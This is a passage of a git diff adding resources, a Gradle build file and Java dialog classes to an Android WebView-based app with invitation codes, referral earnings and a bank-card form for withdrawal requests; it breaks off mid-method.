a/base_no/src/main/res/mipmap-xhdpi/ic_close.png b/base_no/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_email.png b/base_no/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_email1.png b/base_no/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_facebook.png b/base_no/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_hometo.png b/base_no/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_link.png b/base_no/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_menu.png b/base_no/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_notify_email.png b/base_no/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/base_no/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/base_no/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/base_no/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/base_no/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_shousuo.png b/base_no/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_tel.png b/base_no/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/base_no/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/base_no/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/base_no/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/base_no/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/base_no/src/main/res/mipmap-xxhdpi/app_logo.png b/base_no/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..1718e20 Binary files /dev/null and b/base_no/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/base_no/src/main/res/mipmap-xxhdpi/look_img.png b/base_no/src/main/res/mipmap-xxhdpi/look_img.png new file mode 100644 index 0000000..bb76ba1 Binary files /dev/null and b/base_no/src/main/res/mipmap-xxhdpi/look_img.png differ diff --git a/base_no/src/main/res/values-en/strings.xml b/base_no/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..c796052 --- /dev/null +++ b/base_no/src/main/res/values-en/strings.xml @@ -0,0 +1,54 @@ + + TestApp + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + \ No newline at end of file diff --git a/base_no/src/main/res/values-night/themes.xml b/base_no/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4bf7105 --- /dev/null +++ b/base_no/src/main/res/values-night/themes.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/values/colors.xml b/base_no/src/main/res/values/colors.xml new file mode 100644 index 0000000..bd299ee --- /dev/null +++ b/base_no/src/main/res/values/colors.xml @@ -0,0 +1,22 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #ACDFEE + #BDDDB7 + #C3B5D0 + + \ No newline at end of file diff --git a/base_no/src/main/res/values/strings.xml b/base_no/src/main/res/values/strings.xml new file mode 100644 index 0000000..93e4586 --- /dev/null +++ b/base_no/src/main/res/values/strings.xml @@ -0,0 +1,76 @@ + + TestApp + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/values/themes.xml b/base_no/src/main/res/values/themes.xml new file mode 100644 index 0000000..e47899f --- /dev/null +++ b/base_no/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/xml/app_updater_paths.xml b/base_no/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/base_no/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/xml/network_security_config.xml b/base_no/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/base_no/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/base_no/src/main/res/xml/provider_paths.xml b/base_no/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/base_no/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/base_no/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/base_no/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/base_no_all/.gitignore b/base_no_all/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/base_no_all/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/base_no_all/build.gradle b/base_no_all/build.gradle new file mode 100644 index 0000000..2316ae9 --- /dev/null +++ b/base_no_all/build.gradle @@ -0,0 +1,54 @@ +plugins { + id 'com.android.library' +} + +android { + compileSdkVersion 31 + defaultConfig { + minSdkVersion 24 + targetSdkVersion 31 + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + testApi 'junit:junit:4.+' + androidTestApi 'androidx.test.ext:junit:1.1.1' + androidTestApi 'androidx.test.espresso:espresso-core:3.2.0' + api files('libs\\tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar') + + // okhttp相关库 + api 'com.squareup.okhttp3:okhttp:4.9.3' + + // JSON解析库 + api 'com.google.code.gson:gson:2.9.0' + api 'com.alibaba:fastjson:1.1.71.android' + api 'com.squareup.retrofit2:retrofit:2.5.0' + api 'com.squareup.retrofit2:converter-scalars:2.3.0' + api 'com.squareup.retrofit2:converter-gson:2.4.0' + api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0' + api 'io.reactivex.rxjava2:rxjava:2.1.16' + api 'io.reactivex.rxjava2:rxandroid:2.0.2' + api 'com.squareup.okhttp3:logging-interceptor:3.10.0' + api 'com.github.Justson.AgentWeb:agentweb-core:v5.0.6-androidx' // (必选) + api 'com.github.Justson.AgentWeb:agentweb-filechooser:v5.0.6-androidx' // (可选) + + api 'com.github.Justson:Downloader:v5.0.4-androidx' + //implementation 'com.tencent.tbs:tbssdk:44286' + api("com.github.bumptech.glide:glide:4.13.1") +// api 'com.github.jenly1314.AppUpdater:app-updater:1.1.3' + + // sdk 33 + api platform('com.google.firebase:firebase-bom:32.7.0') + // Firebase Cloud Messaging + api("com.google.firebase:firebase-messaging") +} \ No newline at end of file diff --git a/base_no_all/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar b/base_no_all/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar new file mode 100644 index 0000000..465ea1b Binary files /dev/null and b/base_no_all/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar differ diff --git a/base_no_all/proguard-rules.pro b/base_no_all/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/base_no_all/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/base_no_all/release/output-metadata.json b/base_no_all/release/output-metadata.json new file mode 100644 index 0000000..e48e90a --- /dev/null +++ b/base_no_all/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.web.testapp", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 107, + "versionName": "v1.0.7", + "outputFile": "app-release.apk" + } + ] +} \ No newline at end of file diff --git a/base_no_all/release/testweb.apk b/base_no_all/release/testweb.apk new file mode 100644 index 0000000..e33b812 Binary files /dev/null and b/base_no_all/release/testweb.apk differ diff --git a/base_no_all/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/base_no_all/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/base_no_all/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/base_no_all/src/main/AndroidManifest.xml b/base_no_all/src/main/AndroidManifest.xml new file mode 100644 index 0000000..552ffaa --- /dev/null +++ b/base_no_all/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/java/com/web/base/ActionBankInfoDialog.java b/base_no_all/src/main/java/com/web/base/ActionBankInfoDialog.java new file mode 100644 index 0000000..de6fa06 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ActionBankInfoDialog.java @@ -0,0 +1,205 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 填写银行卡信息 + */ +public class ActionBankInfoDialog extends Dialog { + private final Context context; + private TextView tvBankNameCountry; + private TextView tvbankName; + private EditText bankInfoName; + private EditText bankInfoCode; + private TextView cancelTv; + private TextView sumbitTv; + private String myInviteCode; + private BankInfo itemSelector; + private RecyclerView recyclerView; + private RecyclerView recyclerViewCountry; + private List listdata = new ArrayList<>(); + private List listcountry = new ArrayList<>(); + private MyBankListAdapter adapter; + private MyListAdapter listCountryAdapter; + + public ActionBankInfoDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_bankinfo); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> dismiss()); + tvBankNameCountry = findViewById(R.id.inputcountry_tv); + tvbankName = findViewById(R.id.inputbankname_tv); + bankInfoName = findViewById(R.id.inputname_tv); + bankInfoCode = findViewById(R.id.inputcode_tv); + getBankInfoList(); + sumbitTv = findViewById(R.id.sumbit_tv); + recyclerViewCountry = findViewById(R.id.recycler_bankcountry); + recyclerViewCountry.setLayoutManager(new LinearLayoutManager(context)); + listCountryAdapter = new MyListAdapter(listcountry); + recyclerViewCountry.setAdapter(listCountryAdapter); + listCountryAdapter.setOnItemClick(new MyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + tvBankNameCountry.setText(listcountry.get(position)); + recyclerViewCountry.setVisibility(View.GONE); + } + }); + recyclerView = findViewById(R.id.recycler_bankname); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + adapter = new MyBankListAdapter(listdata); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(position -> { + itemSelector = listdata.get(position); + tvbankName.setText(itemSelector.getBankName()); + recyclerView.setVisibility(View.GONE); + }); + + tvbankName.setText(MainActivity.getString(context, "bankname", "")); + tvBankNameCountry.setText(MainActivity.getString(context, "bankcode", context.getString(R.string.app_bankinfo_countrycode))); + bankInfoName.setText(MainActivity.getString(context, "name", "")); + + bankInfoCode.setText(MainActivity.getString(context, "bankno", "")); + tvBankNameCountry.setOnClickListener(view -> { + recyclerView.setVisibility(View.GONE); + if (recyclerViewCountry.getVisibility() == View.VISIBLE) { + recyclerViewCountry.setVisibility(View.GONE); + return; + } + recyclerViewCountry.setVisibility(View.VISIBLE); + }); + tvbankName.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankcountry_hint), Toast.LENGTH_SHORT).show(); + return; + } + recyclerViewCountry.setVisibility(View.GONE); + if (recyclerView.getVisibility() == View.VISIBLE) { + recyclerView.setVisibility(View.GONE); + return; + } + recyclerView.setVisibility(View.VISIBLE); + }); + + sumbitTv.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankname_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoName.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_name_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoCode.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_code_hint), Toast.LENGTH_SHORT).show(); + return; + } + + toSubmit(tvbankName.getText().toString(), bankInfoName.getText().toString(), bankInfoCode.getText().toString()); + + }); + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getBankInfoList() { + Api.getInstance().getBankInfoList() + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>>() { + @Override + public void onSuccess(Result>> o) { + + listdata.clear(); + listcountry.clear(); + if (o.data != null) { + for (Map.Entry> entry : o.data.entrySet()) { + listdata.addAll(entry.getValue()); + listcountry.add(entry.getKey()); + } + adapter.setListdata(listdata); + listCountryAdapter.setListdata(listcountry); + } + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result>> o) { + + } + }); + } + + public void toSubmit(String bankname, String bankinfoname, String bankinfocode) { + HashMap map = new HashMap<>(); + map.put("inviteCode", myInviteCode); + map.put("name", bankinfoname); + map.put("bankNo", bankinfocode); + map.put("bankId", itemSelector.getId()); + map.put("bankName", bankname); + Api.getInstance().sendBankInfo(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + dismiss(); + MainActivity.saveString(context, "bankname", bankname); + MainActivity.saveString(context, "name", bankinfoname); + MainActivity.saveString(context, "bankno", bankinfocode); + MainActivity.saveString(context, "bankcode", itemSelector.getBankCode()); + } + + @Override + public void onError(int code, String msg) { + Toast.makeText(context, msg, Toast.LENGTH_SHORT).show(); + + } + + @Override + public void onError2(Result o) { + Toast.makeText(context, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + +} diff --git a/base_no_all/src/main/java/com/web/base/ActionConfirmDialog.java b/base_no_all/src/main/java/com/web/base/ActionConfirmDialog.java new file mode 100644 index 0000000..2f516b7 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ActionConfirmDialog.java @@ -0,0 +1,124 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.ViewTreeObserver; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +/** + * 通用弹窗 + */ +public class ActionConfirmDialog extends Dialog { + private final Context context; + private View lineV; + + private TextView contentTv; + private TextView cancelTv; + private TextView sumbitTv; + String title; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(); + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionConfirmDialog(Context context, String content,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.showCancel = showCancel; + } + public ActionConfirmDialog(Context context, String content, String cancel, String sure) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + } + + public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_confirm); + + contentTv = (TextView) findViewById(R.id.content_tv); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + + lineV = (View) findViewById(R.id.line_v); + + contentTv.setText(content); + contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { + @Override + public boolean onPreDraw() { + //这个监听的回调是异步的,在监听完以后一定要把绘制监听移除,不然这个会一直回调,导致界面错乱 + contentTv.getViewTreeObserver().removeOnPreDrawListener(this); + int line = contentTv.getLineCount(); + if(line>1){ + contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL); + } + + return true; + } + }); + if(!TextUtils.isEmpty(cancel)){ + cancelTv.setText(cancel); + } + if(!TextUtils.isEmpty(sure)){ + sumbitTv.setText(sure); + } + if(!showCancel){ + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toSumbit(); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toCancel(); + } + }); + + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_no_all/src/main/java/com/web/base/ActionInviteDialog.java b/base_no_all/src/main/java/com/web/base/ActionInviteDialog.java new file mode 100644 index 0000000..3ec9f8f --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ActionInviteDialog.java @@ -0,0 +1,104 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 填写邀请码 + */ +public class ActionInviteDialog extends Dialog { + private final Context context; + private View lineV; + + + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionInviteDialog(Context context, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.showCancel = showCancel; + } + + public ActionInviteDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_no_all/src/main/java/com/web/base/ActionInviteRecordsDialog.java b/base_no_all/src/main/java/com/web/base/ActionInviteRecordsDialog.java new file mode 100644 index 0000000..02db642 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ActionInviteRecordsDialog.java @@ -0,0 +1,120 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示邀请记录 + */ +public class ActionInviteRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyListAdapter listAdapter; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionInviteRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvTitle = findViewById(R.id.content_tv); + tvBalance = findViewById(R.id.balance_tv); + tvTotalEarning = findViewById(R.id.totalearnings_tv); + tvTitle.setText(context.getString(R.string.app_invitetitle)); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyListAdapter(listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if(o.data!=null){ + findViewById(R.id.layout_balance).setVisibility(View.VISIBLE); + InviteListInfo inviteInfo = o.data; + tvBalance.setText(String.format(context.getString(R.string.app_balance), inviteInfo.getInviteCode().getBalance())); + tvTotalEarning.setText(String.format(context.getString(R.string.app_totalearning), inviteInfo.getInviteCode().getIncome())); + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + tvTitle.setText(context.getString(R.string.app_invitetitle) + " (" + inviteInfo.getTotal() + ")"); + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + 